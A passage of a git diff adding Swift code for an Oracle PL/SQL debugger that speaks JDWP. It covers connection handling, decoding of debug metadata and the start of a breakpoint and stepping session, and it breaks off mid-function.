+        self == .packageBody || self == .typeBody || self == .package || self == .type
+    }
+
+    // The statement that compiles the unit with debug information, without touching its other settings. A package
+    // compiles only its body, so nothing that depends on the specification is invalidated.
+    public func compileForDebugStatement(owner: String, name: String) -> String {
+        let qualified = "\(OracleDebugUnit.quote(owner)).\(OracleDebugUnit.quote(name))"
+        let tail = "COMPILE PLSQL_OPTIMIZE_LEVEL=1 REUSE SETTINGS"
+        switch self {
+        case .procedure: return "ALTER PROCEDURE \(qualified) \(tail)"
+        case .function: return "ALTER FUNCTION \(qualified) \(tail)"
+        case .package, .packageBody: return "ALTER PACKAGE \(qualified) COMPILE BODY PLSQL_OPTIMIZE_LEVEL=1 REUSE SETTINGS"
+        case .trigger: return "ALTER TRIGGER \(qualified) \(tail)"
+        case .type, .typeBody: return "ALTER TYPE \(qualified) COMPILE BODY PLSQL_OPTIMIZE_LEVEL=1 REUSE SETTINGS"
+        }
+    }
+}
+
+public struct OracleDebugUnit: Sendable, Hashable {
+    public let owner: String
+    public let name: String
+    public let kind: OracleDebugUnitKind
+
+    public init(owner: String, name: String, kind: OracleDebugUnitKind) {
+        self.owner = owner
+        self.name = name
+        self.kind = kind
+    }
+
+    // `TYPE/OWNER/NAME`, each part with `%` and `/` escaped: a quoted Oracle name may hold either.
+    public var identity: String {
+        [kind.rawValue, owner, name].map(Self.escape).joined(separator: "/")
+    }
+
+    public init?(identity: String) {
+        let parts = Self.split(identity)
+        guard parts.count == 3, let kind = OracleDebugUnitKind(rawValue: parts[0]) else { return nil }
+        self.init(owner: parts[1], name: parts[2], kind: kind)
+    }
+
+    // The body holds the code a package or type runs.
+    public var codeUnit: OracleDebugUnit {
+        switch kind {
+        case .package: return OracleDebugUnit(owner: owner, name: name, kind: .packageBody)
+        case .type: return OracleDebugUnit(owner: owner, name: name, kind: .typeBody)
+        default: return self
+        }
+    }
+
+    public var jdwpSignature: String {
+        "L\(jdwpClassName);"
+    }
+
+    // The ClassMatch pattern, which is the class name without the `L` and `;`.
+    public var jdwpClassName: String {
+        "$Oracle/\(kind.jdwpKind)/\(owner)/\(name)"
+    }
+
+    // Nil for anonymous blocks, built-ins, Java classes, and the classes Oracle makes for local types, which carry
+    // extra path components (`$Oracle/Function/PROBE/F_CALC/F_CALC/T_NUMS`).
+    public init?(jdwpSignature: String) {
+        guard jdwpSignature.hasPrefix("L$Oracle/"), jdwpSignature.hasSuffix(";") else { return nil }
+        let path = jdwpSignature.dropFirst("L$Oracle/".count).dropLast()
+        let parts = path.split(separator: "/", omittingEmptySubsequences: false).map(String.init)
+        guard parts.count == 3, let kind = OracleDebugUnitKind(jdwpKind: parts[0]),
+              !parts[1].isEmpty, !parts[2].isEmpty else { return nil }
+        self.init(owner: parts[1], name: parts[2], kind: kind)
+    }
+
+    public static func isAnonymousBlock(jdwpSignature: String) -> Bool {
+        jdwpSignature.hasPrefix("L$Oracle/Block/")
+    }
+
+    // `L$Oracle/Builtin/NUMBER;` reads NUMBER; a local type reads its own name.
+    public static func typeName(fromJDWPSignature signature: String) -> String {
+        var text = Substring(signature)
+        if text.hasPrefix("L") { text = text.dropFirst() }
+        if text.hasSuffix(";") { text = text.dropLast() }
+        return String(text.split(separator: "/").last ?? text)
+    }
+
+    public static func quote(_ identifier: String) -> String {
+        "\"\(identifier.replacingOccurrences(of: "\"", with: "\"\"", options: .literal))\""
+    }
+
+    public static func literal(_ text: String) -> String {
+        "'\(text.replacingOccurrences(of: "'", with: "''", options: .literal))'"
+    }
+
+    static func escape(_ part: String) -> String {
+        part.replacingOccurrences(of: "%", with: "%25", options: .literal)
+            .replacingOccurrences(of: "/", with: "%2F", options: .literal)
+    }
+
+    static func unescape(_ part: String) -> String {
+        part.replacingOccurrences(of: "%2F", with: "/", options: .literal)
+            .replacingOccurrences(of: "%25", with: "%", options: .literal)
+    }
+
+    static func split(_ identity: String) -> [String] {
+        identity.split(separator: "/", omittingEmptySubsequences: false).map { unescape(String($0)) }
+    }
+}
+
+// One public subprogram overload of a unit, or the standalone routine itself.
+public struct OracleDebugEntry: Sendable, Hashable {
+    public let unit: OracleDebugUnit
+    public let subprogram: String
+    public let subprogramID: Int
+
+    public init(unit: OracleDebugUnit, subprogram: String, subprogramID: Int) {
+        self.unit = unit
+        self.subprogram = subprogram
+        self.subprogramID = subprogramID
+    }
+
+    public var identity: String {
+        unit.identity + "/" + OracleDebugUnit.escape(subprogram) + "/" + String(subprogramID)
+    }
+
+    public init?(identity: String) {
+        let parts = OracleDebugUnit.split(identity)
+        guard parts.count == 5, let kind = OracleDebugUnitKind(rawValue: parts[0]),
+              let subprogramID = Int(parts[4]) else { return nil }
+        self.init(
+            unit: OracleDebugUnit(owner: parts[1], name: parts[2], kind: kind),
+            subprogram: parts[3],
+            subprogramID: subprogramID
+        )
+    }
+
+    public var isPackaged: Bool { unit.kind.hasSubprograms }
+}
diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPConnection.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPConnection.swift
new file mode 100644
index 0000000000..ca75e1f80d
--- /dev/null
+++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPConnection.swift
@@ -0,0 +1,197 @@
+import Foundation
+import Network
+import OSLog
+
+private let logger = Logger(subsystem: "com.TablePro", category: "OracleJDWP")
+
+public protocol OracleJDWPTransport: Sendable {
+    func send(_ data: Data) async throws
+    // Nil once the peer has closed.
+    func receive() async throws -> Data?
+    func close()
+}
+
+public final class OracleJDWPNetworkTransport: OracleJDWPTransport, @unchecked Sendable {
+    private let connection: NWConnection
+
+    public init(connection: NWConnection) {
+        self.connection = connection
+    }
+
+    public func send(_ data: Data) async throws {
+        try await withCheckedThrowingContinuation { (continuation: CheckedContinuation<Void, Error>) in
+            connection.send(content: data, completion: .contentProcessed { error in
+                if let error {
+                    continuation.resume(throwing: error)
+                } else {
+                    continuation.resume()
+                }
+            })
+        }
+    }
+
+    public func receive() async throws -> Data? {
+        try await withCheckedThrowingContinuation { (continuation: CheckedContinuation<Data?, Error>) in
+            connection.receive(minimumIncompleteLength: 1, maximumLength: 65_536) { data, _, isComplete, error in
+                if let data, !data.isEmpty {
+                    continuation.resume(returning: data)
+                } else if let error {
+                    continuation.resume(throwing: error)
+                } else if isComplete {
+                    continuation.resume(returning: nil)
+                } else {
+                    continuation.resume(returning: Data())
+                }
+            }
+        }
+    }
+
+    public func close() {
+        connection.cancel()
+    }
+}
+
+// One JDWP conversation: replies matched to commands by id, everything the VM sends on its own delivered in order.
+public actor OracleJDWPConnection {
+    private let transport: any OracleJDWPTransport
+    private var buffer = OracleJDWPFrameBuffer()
+    private var nextID: UInt32 = 1
+    private var waiting: [UInt32: CheckedContinuation<Data, Error>] = [:]
+    private var timers: [UInt32: Task<Void, Never>] = [:]
+    private let replyTimeout: Duration
+    private var readTask: Task<Void, Never>?
+    private var isClosed = false
+    private let commandContinuation: AsyncStream<OracleJDWPPacket>.Continuation
+    // Commands the VM sent (Event.Composite), raw: the first can arrive before ID sizes are known.
+    nonisolated public let commands: AsyncStream<OracleJDWPPacket>
+
+    // Every command Oracle answers is a lookup; a peer that takes this long has stopped answering.
+    public static let defaultReplyTimeout: Duration = .seconds(15)
+
+    public init(transport: any OracleJDWPTransport, replyTimeout: Duration = OracleJDWPConnection.defaultReplyTimeout) {
+        self.transport = transport
+        self.replyTimeout = replyTimeout
+        (commands, commandContinuation) = AsyncStream.makeStream(of: OracleJDWPPacket.self)
+    }
+
+    // The JDWP spec has the debugger send first; Oracle sends its 14 bytes first (measured), so either order works.
+    public func handshake() async throws {
+        try await transport.send(OracleJDWPPacket.handshake)
+        while true {
+            if let head = buffer.take(OracleJDWPPacket.handshake.count) {
+                guard head == OracleJDWPPacket.handshake else { throw OracleJDWPError.handshakeFailed }
+                break
+            }
+            guard let data = try await transport.receive() else { throw OracleJDWPError.handshakeFailed }
+            buffer.append(data)
+        }
+        startReading()
+    }
+
+    private func startReading() {
+        readTask = Task { [weak self] in
+            await self?.readLoop()
+        }
+    }
+
+    private func readLoop() async {
+        do {
+            while true {
+                try deliverBufferedPackets()
+                guard let data = try await transport.receive() else { break }
+                buffer.append(data)
+            }
+        } catch {
+            logger.notice("JDWP read ended: \(String(describing: type(of: error)), privacy: .public) \(String(describing: error), privacy: .private)")
+        }
+        finish()
+    }
+
+    private func deliverBufferedPackets() throws {
+        while let packet = try buffer.nextPacket() {
+            switch packet {
+            case let .reply(id, errorCode, data):
+                timers.removeValue(forKey: id)?.cancel()
+                guard let continuation = waiting.removeValue(forKey: id) else { continue }
+                if errorCode == 0 {
+                    continuation.resume(returning: data)
+                } else {
+                    continuation.resume(throwing: OracleJDWPError.reply(code: Int(errorCode)))
+                }
+            case .command:
+                commandContinuation.yield(packet)
+            }
+        }
+    }
+
+    // A reply that does not come within the timeout, or a caller that is cancelled, closes the connection: closing is
+    // what ends the target, and it fails every other reply still awaited.
+    public func send(_ commandSet: UInt8, _ command: UInt8, _ data: Data = Data()) async throws -> Data {
+        guard !isClosed else { throw OracleJDWPError.closed }
+        let id = nextID
+        nextID &+= 1
+        let packet = OracleJDWPPacket.command(id: id, commandSet: commandSet, command: command, data: data)
+        do {
+            return try await withTaskCancellationHandler {
+                try await withCheckedThrowingContinuation { continuation in
+                    waiting[id] = continuation
+                    timers[id] = Task { [weak self, replyTimeout] in
+                        guard (try? await Task.sleep(for: replyTimeout)) != nil else { return }
+                        await self?.expire(id: id)
+                    }
+                    Task {
+                        do {
+                            try await self.transport.send(packet.encoded)
+                        } catch {
+                            self.fail(id: id, error: error)
+                        }
+                    }
+                }
+            } onCancel: {
+                Task { await self.close() }
+            }
+        } catch {
+            if Task.isCancelled { throw CancellationError() }
+            throw error
+        }
+    }
+
+    private func fail(id: UInt32, error: Error) {
+        timers.removeValue(forKey: id)?.cancel()
+        waiting.removeValue(forKey: id)?.resume(throwing: OracleJDWPError.closed)
+    }
+
+    private func expire(id: UInt32) {
+        timers.removeValue(forKey: id)
+        guard let continuation = waiting.removeValue(forKey: id) else { return }
+        logger.error("The JDWP peer did not answer a command in time; closing the connection")
+        continuation.resume(throwing: OracleJDWPError.timedOut)
+        close()
+    }
+
+    // Closing without VirtualMachine.Dispose ends the target session (ORA-30687, measured), which is what Stop needs.
+    public func close() {
+        transport.close()
+        finish()
+    }
+
+    // A frame that fails to decode ends here too, and the socket closes with it so the target ends.
+    private func finish() {
+        guard !isClosed else { return }
+        isClosed = true
+        transport.close()
+        for timer in timers.values {
+            timer.cancel()
+        }
+        timers.removeAll()
+        let pending = waiting
+        waiting.removeAll()
+        for continuation in pending.values {
+            continuation.resume(throwing: OracleJDWPError.closed)
+        }
+        commandContinuation.finish()
+        readTask?.cancel()
+    }
+
+    public var closed: Bool { isClosed }
+}
diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPDebugInfo.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPDebugInfo.swift
new file mode 100644
index 0000000000..31e05d3d5c
--- /dev/null
+++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPDebugInfo.swift
@@ -0,0 +1,227 @@
+import Foundation
+
+public struct OracleJDWPMethod: Sendable, Hashable {
+    public let id: UInt64
+    public let name: String
+    public let signature: String
+
+    public init(id: UInt64, name: String, signature: String) {
+        self.id = id
+        self.name = name
+        self.signature = signature
+    }
+
+    // A unit compiled without debug information lists `<procedure$N>` methods with empty line tables (measured).
+    public var isSubprogram: Bool {
+        !name.hasPrefix("<")
+    }
+
+    public var argumentTypeNames: [String] {
+        guard let open = signature.firstIndex(of: "("), let close = signature.firstIndex(of: ")") else { return [] }
+        var names: [String] = []
+        var current = ""
+        for character in signature[signature.index(after: open)..<close] {
+            current.append(character)
+            if character == ";" {
+                names.append(OracleDebugUnit.typeName(fromJDWPSignature: current))
+                current = ""
+            }
+        }
+        return names
+    }
+
+    static func decodeList(_ data: Data, sizes: OracleJDWPIDSizes) throws -> [OracleJDWPMethod] {
+        var reader = OracleJDWPReader(data, sizes: sizes)
+        let count = try reader.count(minimumSize: sizes.method + 12)
+        var methods: [OracleJDWPMethod] = []
+        for _ in 0..<count {
+            let id = try reader.id(.method)
+            let name = try reader.string()
+            let signature = try reader.string()
+            _ = try reader.i32()
+            methods.append(OracleJDWPMethod(id: id, name: name, signature: signature))
+        }
+        return methods
+    }
+}
+
+// Oracle's code index is the source line (measured), but lines are still read through the table.
+public struct OracleJDWPLineTable: Sendable, Equatable {
+    public let start: Int64
+    public let end: Int64
+    public let entries: [(index: Int64, line: Int)]
+
+    public init(start: Int64, end: Int64, entries: [(index: Int64, line: Int)]) {
+        self.start = start
+        self.end = end
+        self.entries = entries.sorted { $0.index < $1.index }
+    }
+
+    public static func == (lhs: OracleJDWPLineTable, rhs: OracleJDWPLineTable) -> Bool {
+        lhs.start == rhs.start && lhs.end == rhs.end
+            && lhs.entries.map(\.index) == rhs.entries.map(\.index)
+            && lhs.entries.map(\.line) == rhs.entries.map(\.line)
+    }
+
+    static func decode(_ data: Data, sizes: OracleJDWPIDSizes) throws -> OracleJDWPLineTable {
+        var reader = OracleJDWPReader(data, sizes: sizes)
+        let start = try reader.i64()
+        let end = try reader.i64()
+        let count = try reader.count(minimumSize: 12)
+        var entries: [(index: Int64, line: Int)] = []
+        for _ in 0..<count {
+            let index = try reader.i64()
+            let line = Int(try reader.i32())
+            entries.append((index, line))
+        }
+        return OracleJDWPLineTable(start: start, end: end, entries: entries)
+    }
+
+    public var isEmpty: Bool { entries.isEmpty }
+
+    public var lines: [Int] { entries.map(\.line) }
+
+    public var firstLine: Int? { entries.first?.line }
+
+    public func covers(line: Int) -> Bool {
+        guard let first = entries.map(\.line).min(), let last = entries.map(\.line).max() else { return false }
+        return line >= first && line <= last
+    }
+
+    // The code index for `line`, or for the next line after it that has code, within this method.
+    public func location(atOrAfter line: Int) -> (index: Int64, line: Int)? {
+        entries.filter { $0.line >= line }.min { $0.line == $1.line ? $0.index < $1.index : $0.line < $1.line }
+    }
+
+    public func line(at index: Int64) -> Int? {
+        if let exact = entries.first(where: { $0.index == index }) { return exact.line }
+        return entries.last(where: { $0.index <= index })?.line
+    }
+}
+
+public struct OracleJDWPVariable: Sendable, Hashable {
+    public let codeIndex: Int64
+    public let name: String
+    public let signature: String
+    public let length: Int
+    public let slot: Int
+    public let isArgument: Bool
+
+    public init(codeIndex: Int64, name: String, signature: String, length: Int, slot: Int, isArgument: Bool) {
+        self.codeIndex = codeIndex
+        self.name = name
+        self.signature = signature
+        self.length = length
+        self.slot = slot
+        self.isArgument = isArgument
+    }
+
+    // `_return` and the like are the engine's own slots.
+    public var isUserVariable: Bool {
+        !name.hasPrefix("_")
+    }
+
+    // A loop index is in scope only inside its loop: `I` measured at code index 13, length 3.
+    public func isVisible(at index: Int64) -> Bool {
+        let (end, overflow) = codeIndex.addingReportingOverflow(Int64(max(length, 1)))
+        return index >= codeIndex && (overflow || index < end)
+    }
+
+    static func decodeTable(_ data: Data, sizes: OracleJDWPIDSizes) throws -> [OracleJDWPVariable] {
+        var reader = OracleJDWPReader(data, sizes: sizes)
+        let argumentCount = Int(try reader.i32())
+        let count = try reader.count(minimumSize: 24)
+        var variables: [OracleJDWPVariable] = []
+        for _ in 0..<count {
+            let codeIndex = try reader.i64()
+            let name = try reader.string()
+            let signature = try reader.string()
+            let length = Int(try reader.i32())
+            let slot = Int(try reader.i32())
+            guard length >= 0, slot >= 0, !codeIndex.addingReportingOverflow(Int64(length)).overflow else {
+                throw OracleJDWPError.malformedPacket
+            }
+            variables.append(OracleJDWPVariable(
+                codeIndex: codeIndex,
+                name: name,
+                signature: signature,
+                length: length,
+                slot: slot,
+                isArgument: slot < argumentCount
+            ))
+        }
+        return variables
+    }
+}
+
+public struct OracleJDWPField: Sendable, Hashable {
+    public let id: UInt64
+    public let name: String
+    public let signature: String
+    public let modifiers: Int32
+
+    public init(id: UInt64, name: String, signature: String, modifiers: Int32) {
+        self.id = id
+        self.name = name
+        self.signature = signature
+        self.modifiers = modifiers
+    }
+
+    public var isStatic: Bool { modifiers & 0x0008 != 0 }
+
+    static func decodeList(_ data: Data, sizes: OracleJDWPIDSizes) throws -> [OracleJDWPField] {
+        var reader = OracleJDWPReader(data, sizes: sizes)
+        let count = try reader.count(minimumSize: sizes.field + 12)
+        var fields: [OracleJDWPField] = []
+        for _ in 0..<count {
+            fields.append(OracleJDWPField(
+                id: try reader.id(.field),
+                name: try reader.string(),
+                signature: try reader.string(),
+                modifiers: try reader.i32()
+            ))
+        }
+        return fields
+    }
+}
+
+// How a PL/SQL value is wrapped: a scalar is an object whose `_value` string holds the text (a null string for SQL
+// NULL), a record has one field per member and `_type` 'record', a collection keeps its elements in `_values`.
+public enum OracleDebugValueShape: Sendable, Equatable {
+    case scalar(valueField: UInt64)
+    case record(members: [OracleJDWPField])
+    case collection(valuesField: UInt64)
+    case opaque
+
+    public static let valueFieldName = "_value"
+    public static let valuesFieldName = "_values"
+
+    public init(fields: [OracleJDWPField]) {
+        let instance = fields.filter { !$0.isStatic }
+        if let value = instance.first(where: { $0.name == Self.valueFieldName }) {
+            self = .scalar(valueField: value.id)
+        } else if let values = instance.first(where: { $0.name == Self.valuesFieldName }) {
+            self = .collection(valuesField: values.id)
+        } else {
+            let members = instance.filter { !$0.name.hasPrefix("_") }
+            self = members.isEmpty ? .opaque : .record(members: members)
+        }
+    }
+}
+
+public struct OracleDebugRecordMember: Sendable, Hashable {
+    public let name: String
+    public let value: String?
+
+    public init(name: String, value: String?) {
+        self.name = name
+        self.value = value
+    }
+}
+
+public enum OracleDebugValue: Sendable, Hashable {
+    case scalar(String?)
+    case record([OracleDebugRecordMember])
+    case collection(count: Int?)
+    case unavailable
+}
diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPDebugSession.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPDebugSession.swift
new file mode 100644
index 0000000000..ec9a0aa352
--- /dev/null
+++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OracleJDWPDebugSession.swift
@@ -0,0 +1,894 @@
+import Foundation
+import OSLog
+
+private let logger = Logger(subsystem: "com.TablePro", category: "OracleJDWPDebugSession")
+
+// DBMS_DEBUG_JDWP: the target session connected back to this Mac and is driven over JDWP. Units are classes
+// `$Oracle/<Kind>/<OWNER>/<NAME>`, subprograms are methods, the code index is the source line, and every value is an
+// object whose `_value` string holds its text (all measured on 23.26).
+public actor OracleJDWPDebugSession: OracleDebugEngine {
+    nonisolated public let mechanism = OracleDebugMechanism.jdwp
+    // SINGLE_STEP with depth OUT returns to the caller (measured).
+    nonisolated public let supportsStepOut = true
+    nonisolated public let notices: AsyncStream<OracleDebugNotice>
+    private let noticeContinuation: AsyncStream<OracleDebugNotice>.Continuation
+
+    private enum Signal {
+        // One composite packet: two requests at one location arrive together and are one stop.
+        case events([OracleJDWPEvent])
+        case callEnded
+        case connectionClosed
+        // The task waiting for the next signal was cancelled.
+        case cancelled
+    }
+
+    private enum State {
+        case ready
+        case running
+        case paused
+        case ended
+    }
+
+    private struct BreakpointKey: Hashable {
+        let unit: OracleDebugUnit
+        let line: Int
+    }
+
+    private struct ClassInfo {
+        let id: UInt64
+        let unit: OracleDebugUnit?
+        var methods: [OracleJDWPMethod]?
+        var lineTables: [UInt64: OracleJDWPLineTable] = [:]
+    }
+
+    private struct MethodKey: Hashable {
+        let classID: UInt64
+        let methodID: UInt64
+    }
+
+    private struct FrameInfo {
+        let id: UInt64
+        let location: OracleJDWPLocation
+        let resolved: OracleDebugLocation
+        let method: OracleJDWPMethod?
+    }
+
+    private let connection: OracleJDWPConnection
+    private let target: any OracleDebugChannel
+    private let helper: any OracleDebugChannel
+    private let entryPoint: OracleDebugEntryPoint
+    private let invocation: OracleDebugStatements.Invocation
+    private let connectCall: Task<Result<[String?], Error>, Never>
+    private let targetIdentity: OracleDebugSessionIdentity?
+    private let callEndWait: Duration
+    private var gaveUp = false
+    private var stopResult = OracleDebugStopResult.ended
+    private var preparedClasses: Set<UInt64> = []
+
+    private var sizes = OracleJDWPIDSizes.oracle
+    private var signals: [Signal] = []
+    private var waiter: CheckedContinuation<Signal, Never>?
+    private var pump: Task<Void, Never>?
+    private var call: Task<Result<[String?], Error>, Never>?
+    private var state = State.ready
+    private var thread: UInt64 = 1
+    private var stopRequested = false
+    private var stopWaiters: [CheckedContinuation<Void, Never>] = []
+    private var isStopped = false
+
+    private var classes: [UInt64: ClassInfo] = [:]
+    private var classIDs: [OracleDebugUnit: UInt64] = [:]
+    private var prepareRequests: Set<OracleDebugUnit> = []
+    private var placed: [BreakpointKey: Int32] = [:]
+    private var pending: Set<BreakpointKey> = []
+    private var holds = OracleDebugBreakpointHolds()
+    private var entryRequests: Set<Int32> = []
+    private var stepRequest: Int32?
+    private var frames: [FrameInfo] = []
+    private var fieldCache: [UInt64: [OracleJDWPField]] = [:]
+    // Method ids are unique only within their class.
+    private var variableTables: [MethodKey: [OracleJDWPVariable]] = [:]
+
+    init(
+        connection: OracleJDWPConnection,
+        target: any OracleDebugChannel,
+        helper: any OracleDebugChannel,
+        entryPoint: OracleDebugEntryPoint,
+        invocation: OracleDebugStatements.Invocation,
+        connectCall: Task<Result<[String?], Error>, Never>,
+        targetIdentity: OracleDebugSessionIdentity? = nil,
+        callEndWait: Duration = OracleDebugSupport.callEndWait,
+        notices initial: [OracleDebugNotice]
+    ) {
+        self.targetIdentity = targetIdentity
+        self.callEndWait = callEndWait
+        self.connection = connection
+        self.target = target
+        self.helper = helper
+        self.entryPoint = entryPoint
+        self.invocation = invocation
+        self.connectCall = connectCall
+        (notices, noticeContinuation) = AsyncStream.makeStream(of: OracleDebugNotice.self)
+        for notice in initial {
+            noticeContinuation.yield(notice)
+        }
+    }
+
+    // The target is suspended at VM_START inside CONNECT_TCP: ask for the classes that matter, then let it return.
+    func start(breakpoints: [(unit: OracleDebugUnit, line: Int)]) async throws {
+        try await guarded { try await handshakeVM(breakpoints: breakpoints) }
+    }
+
+    private func handshakeVM(breakpoints: [(unit: OracleDebugUnit, line: Int)]) async throws {
+        let reply = try await connection.send(OracleJDWPCommand.virtualMachine, OracleJDWPCommand.idSizes)
+        var reader = OracleJDWPReader(reply, sizes: sizes)
+        do {
+            sizes = try OracleJDWPIDSizes.validated(
+                field: try reader.i32(),
+                method: try reader.i32(),
+                object: try reader.i32(),
+                referenceType: try reader.i32(),
+                frame: try reader.i32()
+            )
+        } catch {
+            throw OracleDebugError.jdwp(.handshakeFailed)
+        }
+        startPump()
+        try await waitForVMStart()
+        try await requestPrepare(of: entryPoint.entry.unit)
+        await adoptIfLoaded(entryPoint.entry.unit)
+        for breakpoint in breakpoints {
+            _ = try await setBreakpoint(in: breakpoint.unit, line: breakpoint.line, atStart: true)
+        }
+        try await resume()
+        switch await connectCall.value {
+        case .success: break
+        case .failure(let error): throw error
+        }
+    }
+
+    private func startPump() {
+        let commands = connection.commands
+        pump = Task { [weak self] in
+            for await packet in commands {
+                await self?.receive(packet)
+            }
+            await self?.post(.connectionClosed)
+        }
+    }
+
+    // An event that does not decode ends the session: closing the socket ends the target with it.
+    private func receive(_ packet: OracleJDWPPacket) async {
+        guard case let .command(_, commandSet, command, data) = packet,
+              commandSet == OracleJDWPCommand.event, command == OracleJDWPCommand.composite else { return }
+        do {
+            post(.events(try OracleJDWPEventSet.decode(data, sizes: sizes).events))
+        } catch {
+            logger.error("Could not decode a JDWP event: \(String(describing: type(of: error)), privacy: .public) \(String(describing: error), privacy: .private)")
+            await connection.close()
+        }
+    }
+
+    private func post(_ signal: Signal) {
+        if let waiter {
+            self.waiter = nil
+            waiter.resume(returning: signal)
+        } else {
+            signals.append(signal)
+        }
+    }
+
+    private func nextSignal() async -> Signal {
+        if !signals.isEmpty { return signals.removeFirst() }
+        if Task.isCancelled { return .cancelled }
+        return await withTaskCancellationHandler {
+            await withCheckedContinuation { waiter = $0 }
+        } onCancel: {
+            Task { await self.post(.cancelled) }
+        }
+    }
+
+    private func waitForVMStart() async throws {
+        let deadline = Task { [weak self] in
+            guard (try? await Task.sleep(nanoseconds: 10_000_000_000)) != nil else { return }
+            await self?.post(.connectionClosed)
+        }
+        defer { deadline.cancel() }
+        while true {
+            switch await nextSignal() {
+            case .events(let events):
+                for case .vmStart(let thread) in events {
+                    self.thread = thread
+                    return
+                }
+            case .callEnded, .connectionClosed:
+                throw OracleDebugError.jdwp(.handshakeFailed)
+            case .cancelled:
+                throw CancellationError()
+            }
+        }
+    }
+
+    private func send(_ commandSet: UInt8, _ command: UInt8, _ build: (inout OracleJDWPWriter) -> Void = { _ in }) async throws -> OracleJDWPReader {
+        var writer = OracleJDWPWriter(sizes: sizes)
+        build(&writer)
+        let reply = try await connection.send(commandSet, command, writer.data)
+        return OracleJDWPReader(reply, sizes: sizes)
+    }
+
+    private func resume() async throws {
+        _ = try await connection.send(OracleJDWPCommand.virtualMachine, OracleJDWPCommand.resume)
+    }
+
+    private func requestPrepare(of unit: OracleDebugUnit) async throws {
+        guard !prepareRequests.contains(unit) else { return }
+        prepareRequests.insert(unit)
+        _ = try await connection.send(
+            OracleJDWPCommand.eventRequest,
+            OracleJDWPCommand.set,
+            OracleJDWPRequest.classPrepare(matching: unit.jdwpClassName, sizes: sizes)
+        )
+    }
+
+    // MARK: - Running
+
+    public func firstStop() async throws -> OracleDebugStop {
+        guard state == .ready else { throw OracleDebugError.notPaused }
+        if stopRequested { return .failed(.stopped) }
+        state = .running
+        let target = target
+        let invocation = invocation
+        let call = Task { () -> Result<[String?], Error> in
+            do {
+                return .success(try await target.executeDirect(invocation.block, binds: invocation.binds, readsRows: true))
+            } catch {
+                return .failure(error)
+            }
+        }
+        self.call = call
+        Task { [weak self] in
+            _ = await call.value
+            await self?.post(.callEnded)
+        }
+        return try await stoppedOnError { try await guarded { try await run(untilEntry: true) } }
+    }
+
+    public func perform(_ command: OracleDebugCommand) async throws -> OracleDebugStop {
+        guard state == .paused, !stopRequested else {
+            if stopRequested { return .failed(.stopped) }
+            throw OracleDebugError.notPaused
+        }
+        state = .running
+        frames = []
+        return try await stoppedOnError {
+            try await guarded {
+                switch command {
+                case .continueExecution:
+                    break
+                case .stepOver:
+                    try await setStep(.over)
+                case .stepInto:
+                    try await setStep(.into)
+                case .stepOut:
+                    try await setStep(.out)
+                }
+                try await resume()
+                return try await run(untilEntry: false)
+            }
+        }
+    }
+
+    // A call Stop overlapped ends with Stop, not with what it read or failed to read from a closing connection.
+    private func guarded<T: Sendable>(_ body: () async throws -> T) async throws -> T {
+        guard !stopRequested else { throw OracleDebugError.ended }
+        let value: T
+        do {
+            value = try await translated(body)
+        } catch {
+            if stopRequested { throw OracleDebugError.ended }
+            throw error
+        }
+        if stopRequested { throw OracleDebugError.ended }
+        return value
+    }
+
+    // Data the peer sent that does not decode ends the session: closing the socket ends the target.
+    private func translated<T: Sendable>(_ body: () async throws -> T) async throws -> T {
+        do {
+            return try await body()
+        } catch let error as OracleDebugError {
+            throw error
+        } catch OracleJDWPError.malformedPacket, OracleJDWPError.truncated {
+            await connection.close()
+            throw OracleDebugError.malformedReply
+        } catch OracleJDWPError.timedOut {
+            throw OracleDebugError.debuggerStoppedAnswering
+        } catch OracleJDWPError.closed {
+            throw OracleDebugError.ended
+        } catch OracleJDWPError.reply(let code) {
+            throw OracleDebugError.debuggerRefused(code: code)
+        } catch OracleJDWPError.handshakeFailed, OracleJDWPError.unexpectedEvent {
+            await connection.close()
+            throw OracleDebugError.malformedReply
+        }
+    }
+
+    // A call Stop overlapped ends as stopped, whatever its own statements reported after the drivers closed.
+    private func stoppedOnError(_ body: () async throws -> OracleDebugStop) async throws -> OracleDebugStop {
+        do {
+            return try await body()
+        } catch {
+            if stopRequested { return await outcomeOfStop() }
+            throw error
+        }
+    }
+
+    // Stop owns the ending and the drivers are the host's once it returns, so a waiting call only reports it.
+    private func outcomeOfStop() async -> OracleDebugStop {
+        if !isStopped {
+            await withCheckedContinuation { stopWaiters.append($0) }
+        }
+        return gaveUp ? .failed(.stillRunning(targetIdentity)) : .failed(.stopped)
+    }
+
+    private func setStep(_ depth: OracleJDWPRequest.StepDepth) async throws {
+        var reader = OracleJDWPReader(
+            try await connection.send(
+                OracleJDWPCommand.eventRequest,
+                OracleJDWPCommand.set,
+                OracleJDWPRequest.step(thread: thread, depth: depth, sizes: sizes)
+            ),
+            sizes: sizes
+        )
+        stepRequest = try reader.i32()
+    }
+
+    private func clearStep() async {
+        guard let request = stepRequest else { return }
+        stepRequest = nil
+        _ = try? await connection.send(
+            OracleJDWPCommand.eventRequest,
+            OracleJDWPCommand.clear,
+            OracleJDWPRequest.clear(kind: .singleStep, requestID: request, sizes: sizes)
+        )
+    }
+
+    private func run(untilEntry: Bool) async throws -> OracleDebugStop {
+        while true {
+            let signal = await nextSignal()
+            // The caller gave up on this step: the target ends as Stop ends it.
+            if case .cancelled = signal {
+                _ = await stop()
+                throw CancellationError()
+            }
+            if stopRequested {
+                return await conclude()
+            }
+            guard case .events(let events) = signal else { return await conclude() }
+            if events.contains(.vmDeath) { return await conclude() }
+            var requests: Set<Int32> = []
+            var stopLocation: OracleJDWPLocation?
+            for event in events {
+                switch event {
+                case .classPrepare(_, let thread, let typeID, let signature):
+                    self.thread = thread
+                    await prepared(typeID: typeID, signature: signature)
+                case .breakpoint(let request, let thread, let location), .singleStep(let request, let thread, let location):
+                    self.thread = thread
+                    requests.insert(request)
+                    stopLocation = stopLocation ?? location
+                default:
+                    break
+                }
+            }
+            guard let location = stopLocation, !untilEntry || !requests.isDisjoint(with: entryRequests) else {
+                try await resume()
+                continue
+            }
+            await clearStep()
+            if untilEntry {
